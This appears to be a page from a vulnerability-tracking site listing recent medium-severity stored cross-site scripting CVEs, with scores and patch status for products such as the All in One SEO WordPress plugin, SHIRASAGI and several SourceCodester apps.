A vulnerability has been found in SourceCodester/code-projects Online Boat Reservation System 1.0 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Boat Reservation System
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The All in One SEO Pack plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters in versions up to, and including, 4.2.9 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS All In One Seo
NVD VulDB
EPSS 4% CVSS 4.4
MEDIUM This Month

The All in One SEO Pack plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters in versions up to, and including, 4.2.9 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

XSS WordPress All In One Seo
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability was found in SourceCodester Medical Certificate Generator App 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Medical Certificate Generator App
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Stored cross-site scripting vulnerability in Theme switching function of SHIRASAGI v1.16.2 and earlier versions allows a remote attacker with an administrative privilege to inject an arbitrary script. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Shirasagi
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Stored cross-site scripting vulnerability in Schedule function of SHIRASAGI v1.16.2 and earlier versions allows a remote authenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Shirasagi
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository unilogies/bumsys prior to v2.0.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Business Management System
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39207

Related CWEs

MITRE ATT&CK

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